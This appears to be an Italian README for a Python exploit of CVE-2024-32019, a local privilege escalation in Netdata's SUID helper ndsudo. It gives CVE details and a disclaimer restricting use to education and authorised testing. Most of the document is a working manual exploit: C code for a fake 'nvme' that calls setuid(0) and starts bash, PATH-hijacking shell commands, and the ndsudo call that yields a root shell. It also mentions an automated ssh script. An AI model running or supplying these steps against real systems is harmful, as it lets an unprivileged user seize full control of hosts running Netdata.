
CVE-2024-32019 è una vulnerabilità di escalation dei privilegi locali ad alta gravità in Netdata (versioni >= 1.44.0-60 < 1.45.3), causata da un uso non sicuro della variabile PATH nel binario SUID ndsudo, che consente agli attaccanti di eseguire comandi arbitrari come root.
ndsudo di Netdata (LPE a Root)Uno sfruttamento basato su Python per CVE-2024-32019, una vulnerabilità di escalation dei privilegi locali ad alta gravità nell'agente Netdata, che sfrutta un binario SUID configurato in modo errato (ndsudo) che non gestisce in modo sicuro la variabile d'ambiente PATH.
[!Caution] Questo codice è esclusivamente a scopo didattico e di test autorizzato. L'uso non autorizzato di questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione al test è illegale.
ID CVE: CVE-2024-32019
Punteggio CVSS: 8.8 (Alto)
Divulgata: 12 aprile 2024
Componente: Agente Netdata
Versioni interessate:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Lo strumento ndsudo di Netdata è un binario SUID root progettato per eseguire in modo sicuro un insieme limitato di comandi di sistema (come nvme) per conto di utenti non root.
Tuttavia, a causa di un difetto di implementazione, fa affidamento sulla variabile PATH controllata dall'utente quando risolve i binari dei comandi. Se un attaccante riesce a manipolare il PATH per includere una directory scrivibile contenente un binario malevolo, ndsudo lo eseguirà con privilegi di root — determinando un'escalation dei privilegi locali.
I seguenti passaggi dimostrano come sfruttare manualmente la vulnerabilità in ndsudo.
Salva il seguente codice C come nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Se l'operazione riesce, otterrai una shell di root.
# whoami
root
Se disponi di accesso ssh, puoi usare CVE-2024-32019-dbs.py per automatizzare il processo.
